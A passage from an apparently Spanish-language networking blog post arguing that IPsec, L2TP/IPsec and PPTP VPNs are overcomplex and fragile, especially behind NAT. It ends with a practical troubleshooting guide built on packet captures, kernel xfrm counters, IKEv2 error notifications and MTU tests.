ninguna marca de integridad 40 B WireGuard un puerto UDP IP 20 UDP 8 cabecera 16 marca 16 60 B Los bloques sombreados son el precio del traductor de otro. En la fila de L2TP, tres de ellos dentro del cifrado: una segunda cabecera UDP, una capa de sesión y el tramado de un módem telefónico. PPTP es el más barato porque no protege nada. Los 40 bytes no compran control de integridad, y MS-CHAPv2 se redujo a una sola operación DES en 2012. Barato no es la medida. Lo que compran los bytes sí lo es. Una configuración calculada de cada tipo, sobre IPv4. Las cifras exactas cambian con el cifrado, el modo y la familia de direcciones. Bytes que se van en cada paquete antes de que entre nada de tus datos, con una configuración calculada de cada tipo. El ESP nativo es sobrio. Envolverlo para el NAT cuesta ocho más. L2TP/IPsec lleva dentro del cifrado una cabecera UDP, una cabecera L2TP y una cabecera PPP — tramado de acceso telefónico, cifrado, en 2026. PPTP parece barato porque no lleva ninguna marca de integridad, y ese es justo su problema. Calcúlalo para una configuración en vez de agitar las manos. ESP en modo túnel sobre IPv4 con AES-GCM: 20 bytes de cabecera IP externa, 8 de cabecera ESP, 8 de nonce, 2 como mínimo de cola, 16 de marca de integridad. 54 bytes antes de que entre nada de tu paquete. Envuélvelo para la traversía de NAT y la cabecera UDP lo deja en 62. En un camino de 1500 bytes quedan 1438, y en cuanto haya PPPoE a 1492 más arriba vuelves a quedarte por debajo.\nY luego viene lo que lo convierte en avería y no en un problema de aritmética. Un emisor se entera de que un paquete era demasiado grande solo porque le vuelve un error ICMP — Fragmentation Needed en IPv4, Packet Too Big en IPv6. Si algo del camino tira esos errores, el emisor no se entera nunca y sigue mandando paquetes que siguen muriendo. Ese es el agujero negro clásico: la negociación pasa porque las negociaciones son pequeñas, y la transferencia se cuelga porque las transferencias no lo son.\nCisco mantiene un documento entero sobre esto desde la época de GRE e IPsec, y sigue siendo una de las mejores explicaciones de esa interacción en la biblioteca de cualquiera13. Si hay que mantenerlo es porque la gente sigue bloqueando ICMP en bloque y luego se pregunta por qué los túneles se comportan raro.\nLas dos mitades de ese argumento ya las he escrito y valen aquí sin repetirlas: qué mensajes ICMP son portantes y cuál no, en Ping: la herramienta de diagnóstico que abre mucho más, y cómo encontrar el salto exacto que se está comiendo tu tráfico, en El firewall está a once saltos. La versión corta para esta entrada: los errores son el mecanismo, el eco no lo es, y una política de frontera que tira todo ICMP ha roto tu VPN de una forma que se le achacará a la VPN.\nY tu propia calidad de servicio puede romperlo Uno más, porque pilla a buenos ingenieros haciendo lo correcto.\nESP lleva un número de secuencia y el receptor mantiene una ventana antirrepetición de 64 paquetes por defecto en plataformas Cisco14. Prioriza ahora la voz en el router emisor. La cola de baja latencia hace lo que pediste y reordena los paquetes respecto a la secuencia en que se cifraron. Si un paquete cae fuera de la ventana al llegar, el extremo remoto lo descarta como repetición, y el contador que sube es un contador de seguridad.\nLas propias palabras de Cisco: «Certain QoS features, such as Low Latency Queueing (LLQ), could cause IPsec packet delivery to become out-of-order and dropped by the receiving endpoint due to a replay check failure.»14 Su respuesta es ampliar la ventana a 1024 donde la plataforma lo permita, o adoptar una extensión con varios espacios de números de secuencia que asigna clases de QoS a espacios de secuencia separados dentro de una misma asociación14.\nAsí que: activar una función estándar de tu propia red rompe tu propio túnel, y el remedio es otra extensión de protocolo. La misma forma que todo lo anterior.\nL2TP: tramado de acceso telefónico, cifrado, en 2026 L2TP no es un protocolo de seguridad y nunca lo pretendió. El RFC 2661 es un protocolo de túnel para transportar sesiones PPP, publicado en 1999, sin confidencialidad propia — su propia sección de seguridad te manda a IPsec para la protección a nivel de paquete15. Ese emparejamiento es el RFC 3193, y el resultado es la pila del diagrama de arriba: una cabecera IP externa, una cabecera UDP para la traversía de NAT, ESP, y luego dentro del cifrado otra cabecera UDP en el puerto 1701, una cabecera L2TP y una cabecera PPP.\nPPP. El tramado de los módems de acceso telefónico, transportado dentro de un túnel cifrado, por internet, en 2026, porque eso es lo que L2TP se escribió para llevar.\nCuenta lo que cuesta en un ejemplo — IP externa 20, UDP 8, cabecera ESP e IV 24, UDP interno 8, L2TP 6, PPP 4, cola y marca 18 — y estás gastando unos 88 bytes por paquete para mover datos que el ESP nativo mueve por 54. Treinta y cuatro bytes, en cada paquete, por una capa de sesión que no añade nada de lo que querías y una capa de enlace diseñada para una línea telefónica.\nLa sobrecarga es lo de menos.\nMultiplica el problema del NAT en vez de dividirlo. L2TP/IPsec usa habitualmente ESP en modo transporte, que es el modo al que el NAT más daño hace, y el resultado conocido es que muchas implementaciones no admiten en absoluto dos clientes detrás de una dirección. Dos personas en una casa, o cuarenta en una oficina, o varios cientos detrás de la dirección compartida de un operador. El extremo remoto ve una dirección y no puede distinguir las sesiones, así que la segunda conexión sustituye a la primera. Ese es el ticket del principio de esta entrada, y no es un fallo del producto de nadie — es el problema de la identidad por dirección llegando al sitio donde más gente se lo encuentra.\nY sobre el terreno se despliega casi siempre con un único secreto compartido para todos. Como el secreto se configura en el perfil del cliente y se reparte con las instrucciones de instalación, la clave precompartida está en el documento de bienvenida, en la página del wiki, en el correo a los recién llegados y en cada portátil que ha salido alguna vez. No es un segundo factor. Es una contraseña que autentica la pasarela ante nadie en particular y que no se ha cambiado jamás.\nL2TP no es un protocolo que haya envejecido mal. Es un protocolo que llevaba lo que no debía desde el primer día y que se atornilló a IPsec para compensar lo que no sabía hacer en absoluto.\nPPTP nunca fue seguro, y sigue a la venta PPTP merece dos párrafos, no una sección, y los recibe solo porque hay quien lo sigue entregando.\nNunca fue una norma. El RFC 2637 es Informational. Un protocolo de fabricante puesto por escrito, no algo que el IETF recomendara nunca. Lleva PPP dentro de GRE, protocolo IP 47, que como ESP no tiene puertos, así que necesita un tratamiento especial en cada NAT del camino — la casilla «PPTP passthrough», que en muchísimos routers domésticos admite exactamente una sesión a la vez.\nLa seguridad se acabó en público en 2012. Marlinspike y Hulton demostraron que la seguridad de MS-CHAPv2 se reduce a una sola operación DES sea cual sea la longitud de la contraseña, escribieron chapcrack para extraer la negociación y lo conectaron a un servicio de descifrado que devolvía la clave en menos de un día por veinte dólares — una tasa de éxito del 100 %, no una probabilidad16. Su conclusión fue que el tráfico PPTP debe considerarse sin cifrar. Apple votó con los pies y retiró PPTP del cliente integrado de macOS Sierra e iOS 10 en 2016, y sigue publicando el aviso17.\nDiez años después, PPTP sigue siendo una entrada de menú en routers que se venden este año, sigue en las guías de los fabricantes, sigue siendo lo que alguien activa porque es el que funciona a la primera. Funciona a la primera porque no está haciendo el trabajo.\nTodo lo que se llama VPN IPsec «VPN IPsec» no es un protocolo. Es una familia, y la longitud de la lista de abajo es el argumento, porque no hay dos productos que implementen el mismo subconjunto, y en los huecos entre esos subconjuntos vive cada trabajo de interoperabilidad que has odiado.\nPieza Qué aporta Dónde está ESP, protocolo IP 50 El cifrado y la integridad en sí RFC 4303 — vigente18 AH, protocolo IP 51 Integridad también sobre la cabecera IP RFC 4302 — inservible a través de NAT2 IKEv1 El intercambio de claves original Obsoleto, RFC pasados a Historic19 IKEv2 El intercambio de claves actual RFC 729620 IPComp, protocolo IP 108 Comprime antes de cifrar, con asociaciones propias RFC 317321 PF_KEY v2 Una API del núcleo para que un demonio cargue las claves RFC 236722 Traversía de NAT Envuelve ESP en UDP 4500 para que un traductor se apañe RFC 3947 / 39486 Encapsulación TCP Para redes que también bloquean UDP RFC 9329, que sustituye al RFC 82293 Fragmentación IKEv2 Porque el propio intercambio de claves superó la MTU RFC 738323 MOBIKE Para que el túnel sobreviva al cambio de dirección RFC 455524 Detección de par muerto Un latido, porque no te lo dice nada más RFC 370625 XAUTH Autenticación de usuario — contraseña, token, RADIUS Nunca un RFC. Borrador caducado, 200126 Mode-Config Da al cliente dirección, DNS y rutas Tampoco fue nunca un RFC26 L2TP/IPsec Lleva PPP dentro del túnel RFC 2661 + RFC 319327 GRE o VTI sobre IPsec Te da una interfaz encaminable sobre la que correr un protocolo Arquitectura de fabricante sobre ESP DMVPN mGRE más NHRP más IPsec, para que los radios se encuentren Arquitectura de fabricante, NHRP RFC 233228 GETVPN Claves de grupo, sin ningún túnel por parejas GDOI, RFC 640729 PPTP Lo que IPsec debía sustituir RFC 2637 — Informational, nunca una norma30 Mira ahora las dos filas en negrita, porque son las que deberían pararte.\nDurante casi dos décadas, la forma normal de conectar a un usuario a una VPN IPsec corporativa fue XAUTH — tu usuario y contraseña, tu token, tu servidor RADIUS — con Mode-Config dándole al cliente su dirección, sus servidores DNS y sus rutas. Entre los dos son toda la experiencia de acceso remoto. Cada cliente «Cisco IPsec», cada icono de VPN en una bandeja, cada instrucción de alta.\nNinguno de los dos es una norma. XAUTH fue un borrador de internet individual que caducó en 2001 y se archivó sin llegar nunca a ser RFC26. La razón que se da merece leerse, porque es un comité explicando por qué no iba a hacer su trabajo: el borrador deja constancia de que el grupo de trabajo IPSRA no aceptaría ningún protocolo que extendiera ISAKMP o IKE, y de que el grupo de trabajo IPsec rechazaba todo lo que tuviera que ver con el acceso remoto26. Así que la parte más desplegada del protocolo VPN más desplegado se quedó sin casa, la implementó igualmente cada fabricante según su propia lectura de un borrador caducado, y se entregó a millones de usuarios.\nIKEv2 acabó arreglando ambas cosas, y merece decirse: la autenticación pasó a EAP y las cargas de configuración del cliente entraron en la especificación principal20. Pero lee las fechas. La función más usada del protocolo VPN más usado funcionó sobre un borrador caducado durante una década aproximadamente antes de tener norma alguna, y el parque instalado siguió con la versión borrador años después. Una familia de protocolos no se lleva mérito por normalizar al final la parte que ya usaba todo el mundo.\nEsa es la familia que estás explotando. Parte es Standards Track y vigente. Parte es Historic. Parte no llegó nunca a ser nada. Y un producto cuya ficha técnica dice «VPN IPsec» no te ha dicho prácticamente nada sobre cuáles de estas dieciocho cosas sabe hacer, que es la razón de que juntar dos de ellos sean quince días, una hoja de cálculo de propuestas y una llamada a alguien que ya lo ha hecho antes.\nEl Fisher-Price OS (Windows) nunca ha interoperado de verdad Esta es la parte en la que alguien dice que el problema es en realidad Linux, así que hagámoslo con fuentes.\nPor defecto, el cliente de Windows no se conecta en absoluto a un servidor IPsec que esté detrás de un NAT. No «le costará». Se negará. El arreglo es un valor del registro llamado AssumeUDPEncapsulationContextOnSendRule bajo HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PolicyAgent, puesto a 1 si el servidor está detrás de un traductor o a 2 si lo están ambos extremos, en cada cliente y en el servidor, seguido de un reinicio31. Las propias palabras de Microsoft: «By default, Windows Vista and Windows Server 2008 don\u0026rsquo;t support Internet Protocol security (IPsec) network address translation (NAT) Traversal (NAT-T) security associations to servers that are located behind a NAT device.»31\nDos cosas sobre eso. La primera es que Microsoft coescribió la norma de traversía de NAT que se niega a usar. Su nombre está en el RFC 3947 y en el RFC 39486. La segunda es que la página que te dice que edites el registro se revisó por última vez en febrero de 202631. Veinte años después, un apaño de registro en cada equipo sigue siendo la respuesta, y se sigue manteniendo como respuesta.\nY lee la frase que Microsoft pone justo encima: «If you must use IPsec for communication, use public IP addresses for all servers that you can connect to from the Internet.»31\nEso es esta entrada entera, en la documentación del fabricante. No pongas IPsec detrás de un NAT. Dale a cada máquina una dirección real. Lo dejaron escrito, y luego el sector se pasó dos décadas haciendo lo contrario y facturando la diferencia.\nNo acaba en el NAT. Ve a leer lo que una pasarela de código abierto tiene que documentar para aceptar un cliente de Windows.\nEl certificado de la pasarela necesita un uso extendido de clave que existe para esto y para nada más. serverAuth, OID 1.3.6.1.5.5.7.3.1, más IP Security IKE Intermediate, OID 1.3.6.1.5.5.8.2.232. Hay que enseñar a tu autoridad de certificación a emitir un OID del que la mayoría de las herramientas no ha oído hablar nunca, o la conexión falla con un error de política y ningún mensaje útil. Hace falta un segundo valor de registro antes de que el cliente ofrezca criptografía decente. strongSwan documenta añadir NegotiateDH2048_AES256 bajo Rasman\\Parameters para conseguir AES-256-CBC y un grupo de 2048 bits33. Léelo al revés, que es como importa: sin tocar el registro, la propuesta por defecto es más débil que eso. El renovado de claves iniciado por el servidor lo rechazan los clientes detrás de NAT, y el apaño documentado es desactivar la renovación en la pasarela y dejar que la inicie el cliente33. Extensiones estándar de IKEv2 sencillamente no están — sin redirección IKE, sin rondas de autenticación múltiples33. Nada de eso es un fallo de Linux. Cada punto es un proyecto de código abierto escribiendo lo que tiene que hacer para acomodar la lectura que un fabricante hace de una norma que ese mismo fabricante ayudó a escribir.\nEse es el patrón, y tiene treinta años. PPTP era el protocolo de Microsoft, puesto por escrito como Informational y nunca normalizado30. MS-CHAPv2 y MPPE eran la autenticación y el cifrado de Microsoft, y los dos se rompieron en público16. SSTP es un túnel de Microsoft que nadie más termina. DirectAccess era IPsec, y era Windows en los dos extremos por diseño — y ya está obsoleto y en retirada, con los clientes empujados hacia Always On VPN34. Ninguno de ellos fue jamás un protocolo en el que el resto pudiéramos encontrarnos a mitad de camino. Era un protocolo al que uno se sumaba, y si no ejecutabas el sistema operativo correcto en ambos extremos te tocaban el apaño de registro, el OID raro y la página de soluciones.\nAsí que lo digo claro, al fin y al cabo es mi blog. El Fisher-Price OS (Windows) nunca ha sido un par de verdad dentro de una pila de protocolos abierta, porque nunca fue para eso. Esconde la máquina a la persona que la usa, y además como objetivo de diseño, y una pila que no puedes ver es una pila que no puedes hacer interoperar. Si es el único sistema operativo que has administrado, las secciones de arriba sobre leer contadores del núcleo y escuchar el cable habrán sonado a otro idioma, y eso es la brecha — no una preferencia, una brecha.\nNada de esto tiene por qué costarle nada al lector. Cada diagnóstico de esta entrada se ejecuta desde cualquier Unix de la red, apuntado a lo que esté roto, y le da exactamente igual lo que haya al otro lado. Y si ese sistema operativo es el único que tienes, la parte de diagnóstico de más abajo trae también sus propias herramientas — la captura, los dos cmdlets y los códigos de error con lo que cada uno dice de verdad. Un túnel roto hay que arreglarlo el lunes igualmente. El sustituto que defiendo al final tiene entonces un solo cliente, que se comporta igual en cada plataforma incluida esa — por primera vez en treinta años eso es cierto de una VPN.\nEl expediente de obsolescencia se lee como una esquela Deja los apaños a un lado y lee sin más lo que los organismos de normalización le han hecho a esta familia con los años. No es opinión. Son niveles de exigencia, en RFC publicados.\nQué Dónde está ahora Fuente IKEv1 Obsoleto; RFC 2407, 2408 y 2409 pasados a Historic RFC 9395, 202319 DES en ESP MUST NOT RFC 82218 3DES en ESP SHOULD NOT RFC 82218 HMAC-MD5-96 MUST NOT RFC 82218 ESP junto con AH NOT RECOMMENDED RFC 82218 ESP solo con cifrado Demostrado inseguro, y roto en la práctica en 2007 Degabriele y Paterson35 IPsec en un nodo IPv6 Rebajado de MUST a SHOULD RFC 6434, 201136 PPTP Nunca una norma; solo Informational RFC 263730 La penúltima fila es la que le pondría delante a cualquiera que me diga que IPsec está bien y que el problema es la red. IPv6 obligaba a IPsec en origen — era el argumento de seguridad, escrito en los requisitos de nodo. En 2011 el IETF cambió de idea: «Previously, IPv6 mandated implementation of IPsec and recommended the key management approach of IKE. This document updates that recommendation by making support of the IPsec Architecture a SHOULD for all IPv6 nodes.»36\nHasta la familia de direcciones que le habría devuelto a IPsec todo lo que el NAT le quitó dejó de exigirlo hace quince años. Eso no es la red fallándole a IPsec. Son las personas que diseñaron la red decidiendo que no se había ganado el mandato.\nLa complejidad se señaló en 1999, por escrito Nada de esto es sabiduría a toro pasado, y eso es lo que hace que merezca escribirse.\nEn 1999 se encargó a Niels Ferguson y Bruce Schneier evaluar IPsec. Su informe es corto, claro y merece leerse entero. Abre con «IPsec was a great disappointment to us. Given the quality of the people that worked on it and the time that was spent on it, we expected a much better result.»37 Y nombra la causa: «Our main criticism of IPsec is its complexity. IPsec contains too many options and too much flexibility; there are often several ways of doing the same or similar things. This is a typical committee effect.»37\nE hizo tres recomendaciones que hoy se leen como una lista de cosas que pasaron igualmente, veinte años tarde y por las malas:\nEliminar el modo transporte. «We therefore recommend that transport mode be eliminated.»37 El modo transporte es el que usa L2TP/IPsec, y el modo al que el NAT más daño hace. Eliminar AH. «We conclude that eliminating transport mode allows the elimination of the AH protocol as well, without loss of functionality.»37 Lo eliminó el NAT en su lugar, por una razón peor. No permitir nunca cifrado sin autenticación. Avisaban de que los administradores «will be quite likely to configure ESP for only encryption, believing that it provides security» — con toda probabilidad configurarían ESP solo con cifrado, creyendo que eso da seguridad37. Ocho años después ese último punto dejó de ser un aviso. Degabriele y Paterson publicaron ataques que «break any RFC-compliant implementation of IPsec making use of encryption-only ESP» — rompen cualquier implementación conforme que use ESP solo con cifrado, a partir únicamente del texto cifrado, y que no exigen más que escuchar el tráfico e inyectar paquetes35. La predicción llevaba ocho años en el registro público y la norma seguía permitiendo esa configuración.\nEl veredicto de aquel informe de 1999 es la frase a la que vuelvo una y otra vez: «We have found serious security weaknesses in all major components of IPsec. As always in security, there is no prize for getting 90% right; you have to get everything right.»37\nDos datos más, y lo dejo.\nLogjam, 2015. El equipo que hay detrás escaneó una muestra del 1 % de IPv4 en busca de IKE y encontró que el 86,1 % de los servidores IKEv1 y el 91,0 % de los IKEv2 admitían el grupo Oakley 2 de 1024 bits, y que el 66,1 % de los servidores IKEv1 perfilados lo preferían. Su conclusión: un cálculo previo contra un segundo grupo de 1024 bits «would allow decryption of traffic to 66% of IPsec VPNs», y los documentos de inteligencia publicados sobre explotación de VPN son «consistent with having achieved such a break»38. La agilidad criptográfica, de la que IPsec tiene la mayor cantidad, es lo que permitió que casi todo el mundo se quedara quince años en el mismo grupo débil.\nCVE-2016-1287. Un desbordamiento de búfer en el código IKEv1 e IKEv2 de los Cisco ASA, alcanzable enviando paquetes UDP manipulados, con ejecución remota de código antes de la autenticación39. Piensa dónde está esa caja. Es el equipo que expusiste a propósito a todo internet, ejecutando el protocolo con más opciones del parque, con un reensamblador de fragmentos delante del analizador, y guardando las llaves de todo lo que hay detrás. La complejidad de la que avisaban Ferguson y Schneier no es una abstracción. Es superficie de ataque, en la única máquina que no puedes poner detrás de nada.\nDiagnosticarlo mientras sigas explotándolo No puedes apagar todo esto esta tarde, así que aquí tienes cómo trabajarlo. Este es el método, en el orden que menos cuesta, con lo que significa de verdad cada resultado.\nSeis maneras de rendirse, situadas en el punto del camino donde ocurre cada una Dónde vive de verdad cada avería Cliente política y rutas Router doméstico traducción uno Operador traducción dos Internet filtros y MTU Pasarela selectores e identidad 1 2 3 4 5 6 1 Nada en absoluto en el cable. El tráfico nunca llegó a IPsec. Deja de mirar la cripto. ip xfrm policy y la ruta, y lo que haga el cortafuegos del host. 2 Puerto 500 en ambos sentidos, el 4500 nunca. No se negoció la traversía de NAT. tcpdump -ni eth0 'udp port 500 or udp port 4500 or ip proto 50' El ESP desnudo no lo sobrevive. 3 Muere tras inactividad, revive al primer uso. Caducó una asociación en uno de los dos traductores. Tu keepalive pierde contra un temporizador que no puedes leer. Acórtalo y no te fíes del valor por defecto. 4 Contador saliente sube, entrante plano. El ESP muere en un sentido, en tránsito. ip -s xfrm state en ambos extremos, y luego busca el salto que se lo come. 5 El inicio de sesión va, las transferencias grandes se cuelgan. MTU de camino, y los errores ICMP no vuelven. ping -M do -s 1400 bajando poco a poco, luego fija el tamaño de segmento y arregla la regla ICMP. 6 Ambos extremos dicen levantado, no pasa nada. Selectores de tráfico, política o encaminamiento \u0026#8212; no las claves. Y si un segundo usuario echó al primero, es la identidad del par, no la capacidad. Una captura en la frontera de treinta segundos responde a las tres primeras. Hazla antes de abrir una consola. Las seis averías en el orden en que hay que probarlas, con el síntoma, la comprobación y lo que significa la respuesta. Cada fila es una capa distinta de la pila que se rinde, y las tres primeras se resuelven mirando el cable treinta segundos — por eso es lo primero que hay que hacer y no lo último. Mira primero el cable, no la consola Las dos consolas te dirán lo que creen. El cable te dice lo que pasó. Una captura en la frontera, treinta segundos, responde a la vez a las tres primeras preguntas:\ntcpdump -ni eth0 \u0026#39;udp port 500 or udp port 4500 or ip proto 50 or ip6 proto 50\u0026#39; Nada en absoluto saliente — el problema está por delante de IPsec: encaminamiento, política o un cortafuegos del host. Deja de buscar en la criptografía. Solo saliente, nada de vuelta — tus paquetes salen y sus respuestas no llegan. Filtrado en tránsito, un par muerto, o el extremo remoto rechazando en silencio. UDP 500 en ambos sentidos pero el 4500 no aparece nunca — la traversía de NAT no se negoció. O un extremo la tiene desactivada o falló la detección. Protocolo 50 en el cable mientras un extremo está detrás de NAT — la negociación decidió que no había traductor cuando sí lo hay. Eso no se arregla solo. Leer el fallo del intercambio de claves IKEv2 te dice por qué rechazó, y los nombres de las notificaciones son lo bastante concretos como para diagnosticar solo con ellos. Ayuda tener antes delante la forma del intercambio entero, porque cada notificación de abajo pertenece a un peldaño concreto de él.\nEl intercambio IKEv2 paso a paso, y qué fallo vive en cada paso Cada paso del intercambio, y el fallo que vive en él Cliente detrás de un traductor Pasarela dirección real Qué falla aquí petición IKE_SA_INIT \u0026#8212; UDP 500 nada de vuelta \u0026#8212; 809 ERROR_VPN_TIMEOUT respuesta IKE_SA_INIT \u0026#8212; UDP 500 NO_PROPOSAL_CHOSEN, INVALID_KE_PAYLOAD NAT detectado, ambos extremos saltan a 4500 sin salto \u0026#8212; el proto 50 muere en el traductor IKE_AUTH \u0026#8212; UDP 4500, cifrado demasiado grande, fragmento perdido, reenvío, expiración respuesta IKE_AUTH \u0026#8212; CHILD_SA creada AUTHENTICATION_FAILED \u0026#8212; 13801, 13806 ESP en UDP 4500 \u0026#8212; tu tráfico TS_UNACCEPTABLE \u0026#8212; levantado, y no se mueve nada mantenimiento \u0026#8212; 1 byte cada 20 s, para siempre sin mantenimiento \u0026#8212; la entrada caduca en reposo El salto es la bisagra. Por encima todo es UDP 500. Por debajo todo es UDP 4500. Si el salto no ocurre nunca, estás metiendo el protocolo 50 en un traductor que no tiene nada que reescribir, y nunca volverá. El fallo de tamaño vive en un solo peldaño. IKE_AUTH lleva la cadena de certificados, así que es el único mensaje grande de la escalera. Una clave precompartida que conecta donde un certificado no lo hace es un fragmento perdido, no un certificado malo. Creada no es lo mismo que funcionando. La asociación hija puede existir y no llevar nada, si los dos extremos discrepan sobre qué tráfico cubre. Cada fallo de la columna derecha se informa en el cliente como expiración, fuera lo que fuera en realidad. El intercambio desde el primer paquete hasta el régimen estable, con el fallo que vive en cada paso. El salto de 500 a 4500 es la bisagra: por encima todo va por un puerto, por debajo por otro, y si el salto no ocurre nunca, estás metiendo el protocolo 50 en un traductor que no puede llevarlo. IKE_AUTH es aquí el único mensaje grande, y por eso una clave precompartida puede conectar donde un certificado no lo hace — eso es un fragmento perdido, no un certificado malo. Notificación Qué significa de verdad Dónde mirar NO_PROPOSAL_CHOSEN Ninguna de las combinaciones de cifrado/integridad/DH/PRF ofrecidas le vale al extremo remoto Ambas listas de propuestas; espera un algoritmo obsoleto en un lado INVALID_KE_PAYLOAD Grupo Diffie-Hellman discordante — ofreciste un grupo y quiere otro El grupo DH, lo primero de la propuesta AUTHENTICATION_FAILED Clave, certificado o identidad incorrectos — clave precompartida discordante, certificado caducado o un ID que el par no espera La identidad, no solo el secreto TS_UNACCEPTABLE Los selectores de tráfico no se solapan — pediste proteger subredes que el par no protege La configuración de selectores en ambos extremos INVALID_SPI Llegó un paquete para una asociación que ya no existe, normalmente tras un reinicio de un solo lado Si un extremo ha renovado claves o se ha reiniciado La guía de fase 2 de Juniper dice lo mismo del más común de ellos: «no proposal chosen» significa que el equipo «did not accept any of the IKE Phase 2 proposals that the peer sent», y el arreglo es una propuesta mutuamente aceptable y no un reinicio repetido40.\nEn strongSwan, el estado de todo en una orden:\nswanctl --list-sas # what is established, and what it negotiated swanctl --log # the negotiation as it happens En Cisco, show crypto ikev2 sa y show crypto ipsec sa, con debug crypto ikev2 cuando no levanta41. En Junos, show security ike security-associations y show security ipsec security-associations, con la negociación en show log kmd-logs42.\n¿Se negoció realmente la traversía de NAT? Esta es la comprobación que la gente se salta, y explica buena parte de los «desde la oficina va y desde casa no».\nCada extremo manda resúmenes de las direcciones y puertos que cree en juego. Si el resumen que el extremo remoto calcula a partir del paquete recibido no cuadra con el que mandaste, hay un traductor entre medias, y ambos extremos pasan a UDP 4500. Si la detección falla — un lado tiene la traversía desactivada, o algo en medio estropea el intercambio — ambos extremos siguen con ESP desnudo, que no sobrevivirá al traductor.\nAsí que: ve el puerto 4500 en la captura, en ambos sentidos, o no hay traversía ninguna. No te fíes de la palabra de la consola.\nComprueba después que el keepalive esté corriendo de verdad y que su intervalo sea menor que el plazo con que tu operador caduca las asociaciones. El valor por defecto son veinte segundos6; el suelo de la norma para operadores de NAT son dos minutos9; lo que hace tu operador concreto, no lo ves. Si el túnel se muere tras un rato inactivo y revive con el tráfico, es esto todas las veces.\nLos contadores del núcleo que casi nadie lee En Linux la capa de transformación lleva un desglose completo de errores, y es la forma más rápida de convertir «no funciona» en una causa concreta. Los contadores los documenta el propio núcleo43.\ncat /proc/net/xfrm_stat # error counters, by cause ip -s xfrm state # per-SA packet and byte counters ip xfrm policy # what should be protected, and in which direction Se lee mejor como camino que como lista. El paquete pasa por cinco etapas, y cada una tiene su propio contador:\nCinco etapas, y el contador que nombra aquella en la que murió tu paquete Sigue un paquete, y deja que el contador nombre la etapa donde murió Tu directiva ¿se protege este tráfico? XfrmOutPolBlock lo estás tirando tú mismo, a propósito, en directiva Tu asociación cifrar, sellar, numerar XfrmOutNoStates la directiva encajó y no hay asociación que lo lleve El camino traductor, MTU, filtros no se incrementa nada, en ningún extremo aquí viven el NAT, la MTU y el filtrado, y ningún contador ve nada de ello Su asociación destino + protocolo + SPI XfrmInNoStates \u0026#183; XfrmInStateProtoError \u0026#183; XfrmInStateSeqError llegó y la criptografía no cuadró: SPI erróneo, clave errónea, fuera de ventana Su directiva ¿esto debía estar protegido? XfrmInTmplMismatch \u0026#183; XfrmInNoPols la criptografía estaba bien y la directiva discrepaba sobre si debía estarlo La etapa tres es la que no tiene contador. Todo lo que un cuarto de siglo de traducción le hizo a este protocolo ocurre ahí, y la capa de transformación no ve ni un solo paquete de ello en ninguno de los dos extremos. Por eso mismo una captura va antes que una consola. Las etapas cuatro y cinco son fallos opuestos. Cuatro significa que la criptografía no cuadró. Cinco significa que sí, y que algo discrepaba sobre si debía hacerlo. Se miran en el orden equivocado casi siempre, porque cinco parece un fallo de cripto y no lo es. Los nombres de contador son de Linux. En Junos las mismas etapas se leen en show security ipsec statistics; en el Fisher-Price OS (Windows), en Get-NetIPsecQuickModeSA y el registro de Firewall de Windows con seguridad avanzada. Cinco etapas, y el contador que nombra aquella en la que murió tu paquete. La etapa tres es la única sin contador alguno — el traductor, la MTU y todos los filtros intermedios viven ahí, y la capa de transformación no ve ni un paquete de ello en ninguno de los dos extremos. Ese es todo el argumento para echar mano de una captura antes que de una consola. Las etapas cuatro y cinco son fallos opuestos y se miran en el orden equivocado casi siempre. Mira cuál se mueve mientras ocurre la avería:\nContador Descripción del núcleo Qué significa el día de autos XfrmInNoStates «No state is found i.e. Either inbound SPI, address, or IPsec protocol at SA is wrong» Sus paquetes llegan para una asociación que tú no tienes — normalmente una renovación o un reinicio de un solo lado XfrmInStateSeqError «Sequence error i.e. Sequence number is out of window» Reordenación o problemas con la ventana antirrepetición; mira la interacción con la QoS más arriba XfrmInStateProtoError «Transformation protocol specific error e.g. SA key is wrong» Las claves no coinciden — la asociación sobrevivió a una renovación en un solo lado XfrmInTmplMismatch «No matching template for states e.g. Inbound SAs are correct but SP rule is wrong» La asociación está bien y la política no XfrmInNoPols «No policy is found for states e.g. Inbound SAs are correct but no SP is found» Llega tráfico protegido que nadie pidió proteger XfrmOutPolBlock «Policy discards» Lo estás descartando tú mismo, a propósito, en la política XfrmOutNoStates «No state is found» El tráfico encontró una política sin asociación que lo llevara — el túnel no llegó a levantarse XfrmInTmplMismatch y XfrmInNoPols son los dos que conviene reconocer de vista, porque ambos significan que la criptografía está bien y la política no, que es lo contrario de donde todo el mundo mira primero.\nDice «levantado» y no se mueve nada Ambos extremos establecidos, sin tráfico. Lee los contadores por asociación en los dos sentidos:\nip -s xfrm state Bytes salientes subiendo, entrantes planos — estás cifrando y enviando, y no vuelve nada. O tu ESP no llega a ellos o el suyo no llega a ti. Pídele al extremo remoto su contador saliente; si también sube, los paquetes mueren en tránsito y la siguiente pregunta es dónde, y esa es una pregunta de TTL y no de criptografía. Los dos planos — no se le está ofreciendo nada al túnel. Encaminamiento o política, no IPsec. En modo basado en ruta, comprueba que la ruta apunte de verdad a la interfaz del túnel; en modo basado en política, comprueba los selectores. Los dos subiendo, aplicaciones aún rotas — no es el túnel. Ve a mirar qué hay al otro lado. El consejo de Juniper para este caso sigue el mismo instinto en su lenguaje: si solo sube el contador de paquetes salientes de la sesión, confirma con el par si el tráfico se está recibiendo siquiera44.\nLo pequeño funciona, lo grande se cuelga La MTU. Siempre es la MTU. La prueba lleva diez segundos:\nping -M do -s 1400 10.0.0.1 # inside the tunnel, do-not-fragment set ping -M do -s 1300 10.0.0.1 # step down until it succeeds Donde empieza a pasar te dice el tamaño realmente utilizable. Haz luego que TCP lo averigüe por sí mismo, fijando el tamaño de segmento anunciado al camino en vez de confiar en que cada error ICMP sobreviva al viaje:\nnft add rule inet filter forward tcp flags syn tcp option maxseg size set rt mtu Y arregla también la causa de fondo, que casi siempre es una regla ICMP demasiado amplia en alguna frontera. Descarta el eco si quieres. He defendido en otro sitio que se lo merece. Pero conserva Fragmentation Needed y Packet Too Big. Son el mecanismo, no una cortesía.\nSe cae a reloj Cronometra las caídas. El intervalo nombra la causa él solo.\nUn periodo fijo que coincide con una vida útil configurada — renovación de claves. La asociación expira y la negociación de reemplazo falla o entra en carrera. Comprueba las vidas útiles de ambos extremos; valores distintos son normales y no pasa nada, pero una vida dura en un extremo más corta que la blanda del otro produce exactamente esto. Tras un rato sin tráfico, de vuelta al primer uso — caducó una asociación de NAT. Intervalo del keepalive, o ausencia de él. La detección de par muerto lo tira mientras el enlace está bien — las sondas se pierden en lugar de que el par esté muerto, a menudo porque las sondas son 